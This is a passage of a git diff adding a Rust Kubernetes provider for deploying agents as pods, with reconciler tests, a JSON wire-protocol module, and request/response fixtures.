container_statuses: Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(ContainerState { + waiting: Some(ContainerStateWaiting { + reason: Some("ImagePullBackOff".into()), + message: Some("manifest unknown".into()), + }), + ..Default::default() + }), + ..Default::default() + }]), + ..Default::default() + }); + let fake = Fake::default().with_pod(pod); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("no image at"), "got: {err}"); + assert!( + fake.elapsed() < DEADLINE, + "burned the deadline on a permanent failure" + ); + assert!(!fake.mutations().iter().any(|c| c.starts_with("delete_pod"))); + } + + /// The kubelet's pull *message* can echo a registry request; only the + /// classified outcome and the image reference reach the user. + #[test] + fn pull_failure_message_is_not_echoed_verbatim() { + let id = identity(); + let cfg = config(); + let mut pod = our_pod(&id, &cfg, None); + pod.status = Some(PodStatus { + phase: Some("Pending".into()), + container_statuses: Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(ContainerState { + waiting: Some(ContainerStateWaiting { + reason: Some("ErrImagePull".into()), + message: Some( + "unauthorized: authentication required, token=SUPERSECRET".into(), + ), + }), + ..Default::default() + }), + ..Default::default() + }]), + ..Default::default() + }); + let fake = Fake::default().with_pod(pod); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!( + !err.contains("SUPERSECRET"), + "kubelet message echoed: {err}" + ); + } + + /// A pod being gracefully deleted stays in phase `Running` for its whole + /// grace period. The reconciler must wait it out and recreate, not return + /// an id that evaporates. + #[test] + fn deletion_marked_pod_is_awaited_then_recreated() { + let id = identity(); + let cfg = config(); + let mut dying = our_pod(&id, &cfg, Some(running())); + dying.metadata.deletion_timestamp = Some(Time(Utc::now())); + let fake = Fake::default().with_pod(dying); + fake.on_poll.borrow_mut().push({ + let name = id.pod_name(); + Box::new(move |pods: &mut BTreeMap| { + match pods + .get(&name) + .map(|p| p.metadata.deletion_timestamp.is_some()) + { + // The grace period elapses: the object disappears. + Some(true) => { + pods.remove(&name); + } + // The replacement we create then starts. + Some(false) => { + let pod = pods.get_mut(&name).unwrap(); + pod.status = Some(PodStatus { + phase: Some("Running".into()), + container_statuses: Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(running()), + ..Default::default() + }]), + ..Default::default() + }); + } + None => {} + } + }) + }); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + assert!( + !fake.mutations().iter().any(|c| c.starts_with("delete_pod")), + "deleted a pod that was already terminating" + ); + } + + /// `CreateContainerConfigError` is settled by a most-recent Secret read, + /// never by the reason string: Secret present → recoverable (observe). + #[test] + fn config_error_with_a_present_secret_is_recoverable() { + let id = identity(); + let cfg = config(); + let pod = our_pod(&id, &cfg, Some(waiting("CreateContainerConfigError"))); + let referenced = crate::observe::referenced_secret(&pod).unwrap(); + let fake = Fake::default().with_pod(pod); + fake.secrets.borrow_mut().push(crate::pod::build_secret( + &id, + &cfg.namespace, + "gen-existing", + env(), + )); + assert_eq!(referenced, id.secret_name("gen-existing")); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("startup not confirmed"), "got: {err}"); + assert!( + !fake.mutations().iter().any(|c| c.starts_with("delete_pod")), + "deleted a pod whose Secret exists" + ); + } + + /// ...and Secret confirmed absent → provably broken → fenced replace. + #[test] + fn config_error_with_a_confirmed_absent_secret_is_replaced() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod( + &id, + &cfg, + Some(waiting("CreateContainerConfigError")), + )); + fake.on_poll.borrow_mut().push({ + let name = id.pod_name(); + Box::new(move |pods: &mut BTreeMap| { + if let Some(pod) = pods.get_mut(&name) { + if pod + .status + .as_ref() + .and_then(|s| s.container_statuses.as_ref()) + .is_none() + { + pod.status = Some(PodStatus { + phase: Some("Running".into()), + container_statuses: Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(running()), + ..Default::default() + }]), + ..Default::default() + }); + } + } + }) + }); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + assert!(fake.mutations().iter().any(|c| c.starts_with("delete_pod"))); + } + + /// The generation is the Secret's name suffix *and* the lifecycle + /// correlator inside it. They must name the same generation, or pod logs + /// point at a Secret that was never mounted. The caller stamps one + /// generation into the env once; each create attempt mints its own, so + /// only a restamp keeps the pair together across a retry. + #[test] + fn each_attempt_stamps_its_own_generation_into_its_own_secret() { + let id = identity(); + let cfg = config(); + // First attempt loses the create race and is cleaned up; the operation + // then adopts. Two creates, two generations. + let fake = Fake::default(); + *fake.winner.borrow_mut() = Some(our_pod(&id, &cfg, Some(running()))); + fake.create_outcomes + .borrow_mut() + .push(CreateOutcome::AlreadyExists); + + run(&fake, &id, &cfg).unwrap(); + + let created = fake.created_secrets.borrow(); + // Guard the guard: this assertion is over a list that cleanup empties, + // so an empty list would make every check below vacuously true. + assert_eq!(created.len(), 1, "expected one create attempt"); + for secret in created.iter() { + let name = secret.metadata.name.as_deref().unwrap(); + let nonce = secret + .string_data + .as_ref() + .and_then(|d| d.get(crate::env::START_NONCE_KEY)) + .expect("no lifecycle correlator in the Secret"); + assert!( + name.ends_with(nonce.as_str()), + "secret {name} carries a correlator for a different generation ({nonce})" + ); + } + } + + // ---- bounded replacement ------------------------------------------------ + + /// Installs a hook that makes every pod under `name` crash-exit before the + /// next poll — a deterministic startup failure (the harness starts, rejects + /// its configuration, and exits) as observed live: the container reaches + /// `state.terminated` with a nonzero exit code. + fn crash_exits_immediately(fake: &Fake, name: String) { + fake.on_poll + .borrow_mut() + .push(Box::new(move |pods: &mut BTreeMap| { + if let Some(pod) = pods.get_mut(&name) { + if pod + .status + .as_ref() + .and_then(|s| s.container_statuses.as_ref()) + .is_none() + { + pod.status = Some(PodStatus { + phase: Some("Failed".into()), + container_statuses: Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(ContainerState { + terminated: Some(ContainerStateTerminated { + exit_code: 1, + reason: Some("Error".into()), + ..Default::default() + }), + ..Default::default() + }), + ..Default::default() + }]), + ..Default::default() + }); + } + } + })); + } + + /// A pod that this call created and that crash-exits deterministically is + /// reported in-band after exactly ONE attempt — never hot-replaced until + /// the deadline. The live failure this pins: one delete/create cycle every + /// ~4s minted 107 immutable Secrets in a single 600s deploy call, all + /// younger than the orphan sweep's age gate. + #[test] + fn a_deterministic_crash_exit_is_reported_not_hot_replaced() { + let id = identity(); + let cfg = config(); + let fake = Fake::default(); + crash_exits_immediately(&fake, id.pod_name()); + + let err = run(&fake, &id, &cfg).unwrap_err(); + + let creates = fake + .mutations() + .iter() + .filter(|c| c.starts_with("create_secret")) + .count(); + assert_eq!( + creates, 1, + "hot replacement loop: {creates} Secrets minted in one deploy call" + ); + assert!( + err.contains("exited with code 1"), + "error does not carry the exit: {err}" + ); + // The failed attempt is left in place as evidence — no cleanup on the + // error path. Its Secret stays referenced by the terminated pod, so + // the next deploy's preflight GC collects both together. + assert!( + !fake + .mutations() + .iter() + .any(|c| c.starts_with("delete_pod") || c.starts_with("delete_secret")), + "the failed attempt was cleaned up on the error path: {:?}", + fake.mutations() + ); + assert!( + fake.elapsed() < DEADLINE, + "burned the whole deadline on a deterministic failure" + ); + } + + /// The revive path is untouched: terminated residue from a *previous* + /// life is still replaced — the bound is on pods this call created, not + /// on the row. + #[test] + fn pre_existing_terminated_residue_is_still_replaced_once() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(terminated()))); + crash_exits_immediately(&fake, id.pod_name()); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("exited with code 1"), "got: {err}"); + + let calls = fake.mutations(); + let deletes = calls.iter().filter(|c| c.starts_with("delete_pod")).count(); + let creates = calls + .iter() + .filter(|c| c.starts_with("create_secret")) + .count(); + // Exactly one residue delete (the normal restart path) and one fresh + // attempt — then report, not another cycle. + assert_eq!(deletes, 1, "unexpected delete traffic: {calls:?}"); + assert_eq!(creates, 1, "unexpected create traffic: {calls:?}"); + } + + /// Retry is gated on fresh owner intent: the *next* deploy call clears + /// the crashed attempt (preflight GC collects the terminated pod and its + /// referenced Secret together) and makes exactly one new attempt — total + /// litter stays one pod + one Secret however many times Start is pressed. + #[test] + fn the_next_deploy_collects_the_crashed_attempt_before_its_own_attempt() { + let id = identity(); + let cfg = config(); + let fake = Fake::default(); + crash_exits_immediately(&fake, id.pod_name()); + + run(&fake, &id, &cfg).unwrap_err(); + // Second Start: fresh call, fresh clock. + *fake.elapsed.borrow_mut() = Duration::ZERO; + run(&fake, &id, &cfg).unwrap_err(); + + assert_eq!( + fake.secrets.borrow().len(), + 1, + "crashed attempts accumulated Secrets across calls" + ); + assert_eq!(fake.pods.borrow().len(), 1, "crashed pods accumulated"); + } + + // ---- the auto-repair fence ---------------------------------------------- + + /// An object under our deterministic name that lacks the management + /// marker is not ours. The reconciler must not adopt it, delete it, or + /// return its name — it fails closed to the operator (`:1156-1162`). + #[test] + fn an_unmarked_look_alike_is_never_touched_or_adopted() { + let id = identity(); + let cfg = config(); + let mut look_alike = our_pod(&id, &cfg, Some(running())); + look_alike + .metadata + .labels + .as_mut() + .unwrap() + .remove(LABEL_MANAGED_BY); + let fake = Fake::default(); + // Our create loses to the object already sitting on the name. + *fake.winner.borrow_mut() = Some(look_alike); + fake.create_outcomes + .borrow_mut() + .push(CreateOutcome::AlreadyExists); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("not managed by this provider"), "got: {err}"); + assert!( + !fake.mutations().iter().any(|c| c.starts_with("delete_pod")), + "deleted an object we do not own" + ); + } + + /// Same fence, other direction: the marker is present but the annotation + /// carries a different agent's pubkey. The 32-hex label is + /// collision-resistant, not collision-free (`:1152-1155`). + #[test] + fn a_pubkey_mismatch_is_never_adopted() { + let id = identity(); + let other = identity(); + let cfg = config(); + let mut foreign = our_pod(&id, &cfg, Some(running())); + foreign.metadata.annotations.as_mut().unwrap().insert( + ANNOTATION_PUBKEY_FULL.to_string(), + other.pubkey_hex().to_string(), + ); + let fake = Fake::default(); + *fake.winner.borrow_mut() = Some(foreign); + fake.create_outcomes + .borrow_mut() + .push(CreateOutcome::AlreadyExists); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("different agent identity"), "got: {err}"); + assert!(!fake.mutations().iter().any(|c| c.starts_with("delete_pod"))); + } + + // ---- create-conflict convergence --------------------------------------- + + /// The loser adopts the winner, returns the winner's id, and deletes + /// **only its own** Secret — never the winner's (`:1259-1264`). + #[test] + fn create_loser_adopts_the_winner_and_drops_only_its_own_secret() { + let id = identity(); + let cfg = config(); + let winner = our_pod(&id, &cfg, Some(running())); + let winners_secret = crate::observe::referenced_secret(&winner).unwrap(); + let fake = Fake::default(); + *fake.winner.borrow_mut() = Some(winner); + fake.secrets.borrow_mut().push(crate::pod::build_secret( + &id, + &cfg.namespace, + "gen-existing", + env(), + )); + fake.create_outcomes + .borrow_mut() + .push(CreateOutcome::AlreadyExists); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + + let deleted: Vec<_> = fake + .mutations() + .into_iter() + .filter(|c| c.starts_with("delete_secret")) + .collect(); + assert_eq!( + deleted.len(), + 1, + "expected exactly our own Secret dropped: {deleted:?}" + ); + assert!( + !deleted[0].contains(&winners_secret), + "deleted the winner's Secret: {deleted:?}" + ); + assert!( + fake.secrets + .borrow() + .iter() + .any(|s| s.metadata.name.as_deref() == Some(winners_secret.as_str())), + "the winner's Secret is gone" + ); + } + + /// The loser must not apply the divergence row to the pod that just beat + /// it — that is the ping-pong the spec forbids (`:845-850`). A divergent + /// *started* winner is adopted as-is. + #[test] + fn create_loser_does_not_replace_a_divergent_winner() { + let id = identity(); + let cfg = config(); + let mut winner = our_pod(&id, &cfg, Some(running())); + winner.metadata.annotations.as_mut().unwrap().insert( + ANNOTATION_CREATE_INTENT.to_string(), + "a-different-intent".into(), + ); + let fake = Fake::default(); + *fake.winner.borrow_mut() = Some(winner); + fake.create_outcomes + .borrow_mut() + .push(CreateOutcome::AlreadyExists); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + assert!( + !fake.mutations().iter().any(|c| c.starts_with("delete_pod")), + "the create loser deleted the winner" + ); + } + + /// The loser waits for the winner to *start* — adopting a not-yet-started + /// winner as success would report an agent that is not running. + #[test] + fn create_loser_waits_for_the_winner_to_start() { + let id = identity(); + let cfg = config(); + let fake = Fake::default(); + *fake.winner.borrow_mut() = Some(our_pod(&id, &cfg, Some(waiting("ContainerCreating")))); + fake.create_outcomes + .borrow_mut() + .push(CreateOutcome::AlreadyExists); + let polls = RefCell::new(0); + fake.on_poll.borrow_mut().push({ + let name = id.pod_name(); + Box::new(move |pods: &mut BTreeMap| { + *polls.borrow_mut() += 1; + if *polls.borrow() >= 3 { + if let Some(pod) = pods.get_mut(&name) { + pod.status.as_mut().unwrap().container_statuses = + Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(running()), + ..Default::default() + }]); + } + } + }) + }); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + assert!(fake.elapsed() > Duration::ZERO, "did not wait at all"); + } + + // ---- deadline and namespace -------------------------------------------- + + /// Deadline expiry reports the *latest* condition, not a generic timeout + /// (`:699-701`), and triggers no cleanup (`:720-724`). + #[test] + fn deadline_expiry_reports_the_condition_and_cleans_up_nothing() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(waiting("ContainerCreating")))); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("ContainerCreating"), "generic timeout: {err}"); + let calls = fake.mutations(); + assert!( + !calls.iter().any(|c| c.starts_with("delete_")), + "deadline expiry triggered cleanup: {calls:?}" + ); + } + + /// An RBAC denial on namespace create fails the deploy with the literal + /// command to run, before any Secret is written (`:1002-1005`). + #[test] + fn namespace_denial_fails_before_writing_any_secret() { + let id = identity(); + let cfg = config(); + let fake = Fake { + namespace_error: Some(format!( + "not authorized to create namespaces: run `kubectl create namespace {}`", + cfg.namespace + )), + ..Default::default() + }; + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("kubectl create namespace"), "got: {err}"); + assert!( + fake.mutations().is_empty(), + "wrote something after a namespace denial: {:?}", + fake.mutations() + ); + } + + /// GC failures are hygiene, not deploy failures: a list the user cannot + /// perform must not block a deploy they can. + #[test] + fn a_gc_failure_does_not_fail_the_deploy() { + struct GcDenied(Fake); + impl Substrate for GcDenied { + async fn ensure_namespace(&self, ns: &str) -> Result<(), String> { + self.0.ensure_namespace(ns).await + } + async fn list_pods( + &self, + _s: &str, + ) -> Result<(Vec, Option>), String> { + Err("forbidden: cannot list pods".into()) + } + async fn list_secrets(&self, _s: &str) -> Result, String> { + Err("forbidden: cannot list secrets".into()) + } + async fn secret_exists(&self, n: &str) -> Result { + self.0.secret_exists(n).await + } + async fn create_secret(&self, s: &Secret) -> Result<(), String> { + self.0.create_secret(s).await + } + async fn create_pod(&self, p: &Pod) -> Result { + self.0.create_pod(p).await + } + async fn delete_pod(&self, n: &str, f: &Fence) -> Result { + self.0.delete_pod(n, f).await + } + async fn delete_secret(&self, n: &str) -> Result<(), String> { + self.0.delete_secret(n).await + } + async fn get_pod(&self, n: &str) -> Result, String> { + self.0.get_pod(n).await + } + async fn sleep(&self, d: Duration) { + self.0.sleep(d).await + } + fn elapsed(&self) -> Duration { + self.0.elapsed() + } + } + + let id = identity(); + let cfg = config(); + let inner = Fake::default().with_pod(our_pod(&id, &cfg, Some(running()))); + let fake = GcDenied(inner); + + assert_eq!( + block_on(deploy(&fake, &id, &cfg, env())).unwrap(), + id.pod_name() + ); + } +} diff --git a/crates/buzz-backend-kubernetes/src/wire.rs b/crates/buzz-backend-kubernetes/src/wire.rs new file mode 100644 index 0000000000..89b78b364d --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/wire.rs @@ -0,0 +1,250 @@ +//! The stdin/stdout JSON protocol (spec §Provider Protocol). +//! +//! One process per operation: one JSON object in, one JSON object out. +//! These types are this provider's view of the contract; the golden fixtures +//! in `tests/fixtures/provider-wire/` are the arbiter shared with the desktop. + +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; + +/// The wire-contract version this provider speaks (spec §Info). +pub const PROTOCOL_VERSION: u32 = 1; + +/// Request envelope. `op` discriminates; unknown ops are an in-band error. +/// +/// `request_id` is deliberately absent from every variant. The desktop sends +/// it, but the exchange is one request and one response per process, so there +/// is nothing to correlate and nothing in the response schema to echo it into +/// (`:387`, `:416` — neither response shape carries it). Serde ignores it on +/// the way in, so a caller that sends it is accepted; typing it would only +/// create a field nothing reads. +#[derive(Debug, Deserialize)] +#[serde(tag = "op", rename_all = "lowercase")] +pub enum Request { + Info, + Deploy(Box), +} + +#[derive(Debug, Deserialize)] +pub struct DeployRequest { + pub agent: AgentPayload, + #[serde(default)] + pub provider_config: serde_json::Value, +} + +/// The agent payload (spec §Deploy). +/// +/// Only the fields this binding actually consumes are typed. `name` (display +/// name), `model`, `provider`, and `turn_timeout_seconds` are deliberately +/// absent: object names derive from the pubkey, not the display name +/// (`:1150-1152`), the model/provider pair arrives already resolved inside +/// `launch`, and the timeout is ignored upstream — typing any of them would +/// invite a provider-side remap the spec forbids. +#[derive(Debug, Deserialize)] +pub struct AgentPayload { + pub relay_url: String, + pub private_key_nsec: String, + #[serde(default)] + pub auth_tag: Option, + #[serde(default)] + pub respond_to: Option, + #[serde(default)] + pub respond_to_allowlist: Option>, + /// User env, already merged global < persona < agent by the desktop and + /// already stripped of reserved keys. Superseded by `launch.env` when + /// `launch` is present — a provider MUST NOT re-merge it on top + /// (§Launch data, precedence tier 2). + #[serde(default)] + pub env_vars: BTreeMap, + /// The desktop-resolved launch contract. Absent only from a desktop + /// predating Known Defect 3's fix. + #[serde(default)] + pub launch: Option, +} + +/// Desktop-resolved launch data (spec §Launch data). +#[derive(Debug, Default, Deserialize)] +pub struct LaunchBlock { + /// Command *name*, resolved against the image's PATH — never a host path. + #[serde(default)] + pub command: Option, + #[serde(default)] + pub args: Vec, + /// Layered env: baked → runtime metadata → definition → global → persona + /// → agent. Precedence tier 2. + #[serde(default)] + pub env: BTreeMap, + /// Overridable behavior defaults. Precedence tier 1 — user env beats + /// these, matching the local spawn. + #[serde(default)] + pub policy_env: BTreeMap, + /// Resolved workspace owner (hex). The respond-to gate's one + /// irreducible input; without it or `auth_tag` the harness cannot match + /// `!shutdown`. + #[serde(default)] + pub owner_pubkey: Option, +} + +/// Response envelope. Serialized flat — `{"ok": true, …}` — because the +/// desktop reads `ok`, `error`, and `agent_id` off the top level. +#[derive(Debug, Serialize)] +#[serde(untagged)] +pub enum Response { + Info(InfoResponse), + Deploy(DeployResponse), + Error(ErrorResponse), +} + +#[derive(Debug, Serialize)] +pub struct InfoResponse { + pub ok: bool, + pub name: &'static str, + pub version: &'static str, + pub protocol_version: u32, + pub description: &'static str, + pub config_schema: serde_json::Value, +} + +#[derive(Debug, Serialize)] +pub struct DeployResponse { + pub ok: bool, + pub agent_id: String, +} + +#[derive(Debug, Serialize)] +pub struct ErrorResponse { + pub ok: bool, + pub error: String, +} + +impl Response { + pub fn error(message: impl Into) -> Self { + Response::Error(ErrorResponse { + ok: false, + error: message.into(), + }) + } + + /// The provider's self-description (spec §Info). Pure — no cluster + /// contact — because the desktop calls it to render the config form + /// before a kubeconfig is known to exist. + pub fn info() -> Self { + Response::Info(InfoResponse { + ok: true, + name: "kubernetes", + version: env!("CARGO_PKG_VERSION"), + protocol_version: PROTOCOL_VERSION, + description: "Runs agents as pods in a Kubernetes cluster", + config_schema: crate::config::config_schema(), + }) + } + + pub fn deployed(agent_id: impl Into) -> Self { + Response::Deploy(DeployResponse { + ok: true, + agent_id: agent_id.into(), + }) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parses_info_request() { + let r: Request = serde_json::from_str(r#"{"op":"info","request_id":"abc"}"#).unwrap(); + assert!(matches!(r, Request::Info)); + } + + /// The desktop sends `request_id` on every call, but the exchange is 1:1 + /// per process — a provider that hard-required it would fail a + /// conforming-but-minimal caller for no safety gain. + #[test] + fn request_id_is_optional() { + let r: Request = serde_json::from_str(r#"{"op":"info"}"#).unwrap(); + assert!(matches!(r, Request::Info)); + } + + #[test] + fn rejects_unknown_op() { + assert!(serde_json::from_str::(r#"{"op":"undeploy"}"#).is_err()); + } + + /// Payload fields this binding does not consume must not break parsing: + /// the desktop sends `model`, `provider`, `system_prompt` and more, and a + /// provider that rejected them would break on every real deploy. + #[test] + fn ignores_unconsumed_payload_fields() { + let json = r#"{ + "op":"deploy","request_id":"r1", + "agent":{ + "name":"a","relay_url":"wss://r","private_key_nsec":"nsec1x", + "model":"gpt-5","provider":"openai","system_prompt":"hi", + "turn_timeout_seconds":30,"parallelism":10, + "agent_command":"goose","agent_args":[] + }, + "provider_config":{"namespace":"ns"} + }"#; + let r: Request = serde_json::from_str(json).unwrap(); + let Request::Deploy(d) = r else { + panic!("wrong op") + }; + assert_eq!(d.agent.relay_url, "wss://r"); + assert!(d.agent.launch.is_none()); + } + + #[test] + fn parses_launch_block() { + let json = r#"{ + "op":"deploy", + "agent":{ + "relay_url":"wss://r","private_key_nsec":"nsec1x", + "launch":{ + "command":"goose","args":["run","--x"], + "env":{"GOOSE_MODEL":"m"}, + "policy_env":{"GOOSE_MODE":"auto"}, + "owner_pubkey":"deadbeef" + } + } + }"#; + let Request::Deploy(d) = serde_json::from_str::(json).unwrap() else { + panic!("wrong op") + }; + let l = d.agent.launch.unwrap(); + assert_eq!(l.command.as_deref(), Some("goose")); + assert_eq!(l.args, ["run", "--x"]); + assert_eq!(l.env["GOOSE_MODEL"], "m"); + assert_eq!(l.policy_env["GOOSE_MODE"], "auto"); + assert_eq!(l.owner_pubkey.as_deref(), Some("deadbeef")); + } + + /// A null `owner_pubkey`/`auth_tag` must parse (the refusal is a policy + /// decision made later, with a specific message), not fail as a type error. + #[test] + fn null_owner_fields_parse() { + let json = r#"{"op":"deploy","agent":{ + "relay_url":"wss://r","private_key_nsec":"nsec1x","auth_tag":null, + "launch":{"owner_pubkey":null} + }}"#; + let Request::Deploy(d) = serde_json::from_str::(json).unwrap() else { + panic!("wrong op") + }; + assert!(d.agent.auth_tag.is_none()); + assert!(d.agent.launch.unwrap().owner_pubkey.is_none()); + } + + /// The desktop reads `ok`/`error`/`agent_id` off the top level, so the + /// enum must serialize flat with no variant tag. + #[test] + fn responses_serialize_flat() { + let v = serde_json::to_value(Response::deployed("buzz-agent-abc")).unwrap(); + assert_eq!(v["ok"], true); + assert_eq!(v["agent_id"], "buzz-agent-abc"); + assert!(v.get("Deploy").is_none()); + + let v = serde_json::to_value(Response::error("boom")).unwrap(); + assert_eq!(v["ok"], false); + assert_eq!(v["error"], "boom"); + } +} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/README.md b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/README.md new file mode 100644 index 0000000000..56a972f894 --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/README.md @@ -0,0 +1,39 @@ +# Provider wire fixtures + +The shared arbiter for the stdin/stdout contract between the desktop +(`agents_deploy.rs`) and this provider (spec §Provider Protocol). + +Each `*.request.json` is a request the desktop can emit; each matching +`*.response.json` is the exact response this provider produces for it. The +provider side is asserted by `tests/wire_fixtures.rs`; the desktop side should +assert that its emitted payloads parse as the corresponding request. + +Three rules keep these useful rather than decorative: + +* **Requests are recorded, not invented.** A fixture that no caller emits + tests a contract nobody has. "Recorded" means *executed and transcribed* — + `deploy-full-launch.request.json` is the output of the desktop's real + `build_launch_block` → `deploy_payload_json` path, not a shape derived by + reading those functions. Deriving it is how this fixture acquired four + impossible values at once: a `respond_to` that was a pubkey where the + desktop serializes a kebab-case `RespondTo` enum, allowlist and owner + values failing `validate_respond_to_allowlist`'s 64-hex rule + (`types.rs:897`), an invented `BUZZ_ACP_PARALLELISM` where the emitter + writes `BUZZ_ACP_AGENTS` (`runtime.rs:729`), and a `launch.env` key from + no layer of `resolve_effective_harness_descriptor`. +* **The provider cannot police this file, so the desktop must.** Every field + above is one this provider is deliberately indifferent to — `respond_to` is + an opaque `Option`, the allowlist an opaque `Vec`, + `policy_env` an arbitrary map — so `the_full_desktop_payload_is_accepted` + passes on invented data exactly as happily as on recorded data. The + enforcement is the desktop's whole-object equality test, which *builds* the + payload and compares it to this file. A completeness guard (the case-list + directory scan in `wire_fixtures.rs`) stops a case from going missing; it + cannot tell you a case is false. +* **Responses are byte-compared after key-sorted re-serialization**, so a + field rename or a type change fails here rather than in a desktop that + silently reads `undefined`. + +`deploy-*` fixtures cover only responses reachable without a cluster — +refusals and malformed input. A successful deploy needs an apiserver and is +covered by the conformance suite, not by a static fixture. diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json new file mode 100644 index 0000000000..beffc29440 --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-full-launch.request.json @@ -0,0 +1,53 @@ +{ + "op": "deploy", + "request_id": "req-6", + "agent": { + "agent_args": [], + "agent_command": "goose", + "auth_tag": "tag-1", + "env_vars": { + "USER_KEY": "user-value" + }, + "idle_timeout_seconds": null, + "launch": { + "args": [ + "acp" + ], + "command": "goose", + "env": { + "GOOSE_MODEL": "gpt-5", + "GOOSE_PROVIDER": "openai", + "USER_KEY": "user-value" + }, + "owner_pubkey": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_env": { + "BUZZ_ACP_AGENTS": "10", + "BUZZ_ACP_DISPLAY_NAME": "worker", + "BUZZ_ACP_LAZY_POOL": "true", + "BUZZ_ACP_MODEL": "gpt-5", + "BUZZ_ACP_RELAY_OBSERVER": "true", + "BUZZ_ACP_SESSION_TITLE": "worker", + "GOOSE_MODE": "auto" + } + }, + "max_turn_duration_seconds": null, + "model": "gpt-5", + "name": "worker", + "parallelism": 10, + "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5", + "provider": "openai", + "relay_url": "wss://relay.example", + "respond_to": "allowlist", + "respond_to_allowlist": [ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + ], + "system_prompt": null, + "turn_timeout_seconds": 300 + }, + "provider_config": { + "namespace": "buzz-agents-test", + "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "inactivity_seconds": 3600 + } +} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.request.json new file mode 100644 index 0000000000..4f56082bbb --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.request.json @@ -0,0 +1,9 @@ +{ + "op": "deploy", + "request_id": "req-5", + "agent": { + "relay_url": "wss://relay.example", + "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5" + }, + "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"} +} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.response.json new file mode 100644 index 0000000000..c6011b899a --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-no-owner.response.json @@ -0,0 +1 @@ +{"ok":false,"error":"deploy refused: neither auth_tag nor launch.owner_pubkey resolved — without an owner the agent cannot honor !shutdown"} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.request.json new file mode 100644 index 0000000000..2160909b8f --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.request.json @@ -0,0 +1,11 @@ +{ + "op": "deploy", + "request_id": "req-3", + "agent": { + "relay_url": "wss://relay.example", + "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5", + "auth_tag": "tag-1", + "provider": " relay-mesh " + }, + "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"} +} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.response.json new file mode 100644 index 0000000000..0f0c995fd8 --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh-padded.response.json @@ -0,0 +1 @@ +{"ok":false,"error":"deploy refused: this agent is configured for shared compute (relay-mesh), which runs on the relay rather than in a pod. Switch the agent to a local runtime before deploying it to 